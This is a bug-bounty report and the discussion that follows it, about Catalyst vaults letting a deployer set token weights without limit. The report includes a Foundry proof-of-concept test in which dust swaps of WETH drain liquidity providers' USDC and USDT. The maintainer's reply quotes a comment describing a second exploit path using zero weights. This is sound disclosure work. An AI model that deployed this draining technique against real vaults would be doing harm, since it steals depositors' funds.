Possible to drain Vault LPs due to unbounded weight differences

[hats-bug-reporter]

Github username: @0xfuje
Twitter username: 0xfuje
Submission hash (on-chain): 0x5080e114a5766d73acf6fcc4a43ef0d8f1efff65669819a66efef50f41d4aff3
Severity: high

Description:

Impact

Total loss of LP deposited funds of the vulnerable Vault

Description

The root of the problem is the unbounded nature of token weights of CatalystVaults, which can be set to any value without restriction. A disproportionately large weight difference can be used to drain the vault.

1. Deployer deploys a normal Vault from the whitelisted templates with USDC, USDT and WETH with a normal distribution ($1000 USDC + $1000 USDT + 1 WETH), but sets the weight of WETH absurdly high
2. Deployer waits for LPs to deposit funds of vault assets
3. Victim LP deposits a normal distribution of funds that matches the vault's token distribution aka $10000 USDC, $10000 USDT and 10 WETH
4. Deployer (or any other attacker) swaps dust amount (2 wei) of WETH to USDC & USDT immediately draining the LP's funds from the Vault and profiting $20000 from the LP's USDC & USDT funds

Proof of Concept

1. Navigate to test/ExampleTest.t.sol
2. Copy and switch the initial setup for the below setup

function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 3;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("USDC", "USDC", 18, 1e6));
    init_balances[0] = 1000 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("USDT", "USDT", 18, 1e6));
    init_balances[1] = 1000 * 1e18;
    weights[1] = 1;

    assets[2] = address(new Token("WETH", "WETH", 18, 1e6));
    init_balances[2] = 1 * 1e18;
    weights[2] = 100e18;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);
    Token(assets[2]).approve(address(catFactory), init_balances[2] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }

3. copy the below proof of concept
4. call forge test --match-test --via-ir test_localswap_exploit_unbalance -vvvv

  function test_localswap_exploit_unbalance() external {
    uint256 initBalanceUSDC = 1000 * 1e18;
    uint256 initBalanceUSDT = 1000 * 1e18;

    // 1. Initialization
    address alice = makeAddr("Alice");
    uint256 aliceBalanceUSDC = 10000 * 1e18;
    uint256 aliceBalanceUSDT = 10000 * 1e18;
    uint256 aliceBalanceWETH = 10 * 1e18;

    address USDC = ICatalystV1Vault(vault1)._tokenIndexing(0);
    address USDT = ICatalystV1Vault(vault1)._tokenIndexing(1);
    address WETH = ICatalystV1Vault(vault1)._tokenIndexing(2);

    deal(USDC, alice, aliceBalanceUSDC);
    deal(USDT, alice, aliceBalanceUSDT);
    deal(WETH, alice, aliceBalanceWETH);

    // 2. Alice provides liquidity
    vm.startPrank(alice);
    Token(USDC).approve(vault1, aliceBalanceUSDC);
    Token(USDT).approve(vault1, aliceBalanceUSDT);
    Token(WETH).approve(vault1, aliceBalanceWETH);

    uint256[] memory aliceDepositAmounts = new uint256[](3);
    aliceDepositAmounts[0] = aliceBalanceUSDC;
    aliceDepositAmounts[1] = aliceBalanceUSDT;
    aliceDepositAmounts[2] = aliceBalanceWETH;

    ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
    vm.stopPrank();

    // 3. Deployer swaps their WETH
    uint256 swapAmount = 2;
    Token(WETH).approve(vault1, swapAmount * 2);

    uint256 attackerProfit1 = ICatalystV1Vault(vault1).localSwap(WETH, USDT, swapAmount, 0);
    uint256 attackerProfit2 = ICatalystV1Vault(vault1).localSwap(WETH, USDC, swapAmount, 0);

    assertEq(attackerProfit1, initBalanceUSDT + aliceBalanceUSDT);
    assertEq(attackerProfit2, initBalanceUSDC + aliceBalanceUSDC);
  }

Recommendation

Consider to bound token weight to be between a reasonable value (taking into account the token decimals), as this would minimize potential damage (e.g. can't exceed 100x or 10x difference). Consider to add weights as an event param to VaultDeployed(). This issue seems hard to completely mitigate, some kind of additional restriction could be used on localSwap() and LP functions to prevent highly unfavorable conversations due to weight differences.

[reednaa]

While weights aren't emitted on vault creation (because not all vaults might have weights). As such, we can't emit the values on creation. Instead they have to be read. We are aware of the danger of weights, see this report from Veridise:

https://github.com/catalystdao/catalyst/blob/main/evm/audit/VAR_Catalyst-v1.pdf, page 19.

When users deposit into vaults, it must be assumed that they know exactly what the profile of the vault is (or was relativly close to before they created their transaction). Thus the weights are assumed to be part of that.

You should also be aware that the weights directly impact the cost of the vaults AND at high weights the vault might even begin to malfunction. Generally we advise users to keep the weights low-ish. (Around 10**6) but they can be set even lower to "opt-out" of governance weight changes.

Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/evm/src/CatalystVaultVolatile.sol

Lines 136 to 142 in fba322f

	* It is implied that if the existing weights are low <≈100, then
	* the governance is not allowed to change vault weights. This is because
	* the update function is not made for large step sizes (which the steps would be if
	* trades are infrequent or weights are small).
	* Weights must not be set to 0. This allows someone to exploit the localSwap simplification
	* with a token not belonging to the vault. (Set weight to 0, localSwap from token not part of
	* the vault. Since 0 == 0 => use simplified swap curve. Swap goes through.)

Likewise, the governance is only able to adjust weight changes with a small-ish window:

Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/evm/src/CatalystVaultVolatile.sol

Line 165 in fba322f

require(newWeight <= currentWeight*10 && newWeight >= currentWeight/10); // dev: newWeights must be maximum a factor of 10 larger/smaller than the current weights to protect liquidity providers.

[0xfuje]

To be specific the Veridise report deals with a setWeights(), which can be only used and exploited by the factory owner and as you said has restrictions on weight changes. This is an entirely different issue which can be exploited by any vault deployer and has no restrictions, only relates to the report that both vulnerabilities uses weights.

When users deposit into vaults, it must be assumed that they know exactly what the profile of the vault is (or was relativly close to before they created their transaction). Thus the weights are assumed to be part of that.

I understand, but it's dangerous to delegate this responsibility fully to users. Realistically not every user (if not the majority of users) is going to fully validate the vault, or in this particular case the weights of the vault. I think it's too risky to let this as is, as the likelihood of a potentially exploit is high, because it's very easy to setup as a vault deployer and the impact is total loss of funds for LPs.

[reednaa]

That is why these things are done via a UI rather than directly on the contract.

Realistically, how many are going to setup the vaults correctly if they don't have access to a UI?
How many are going to deposit straight to the vault without the UI?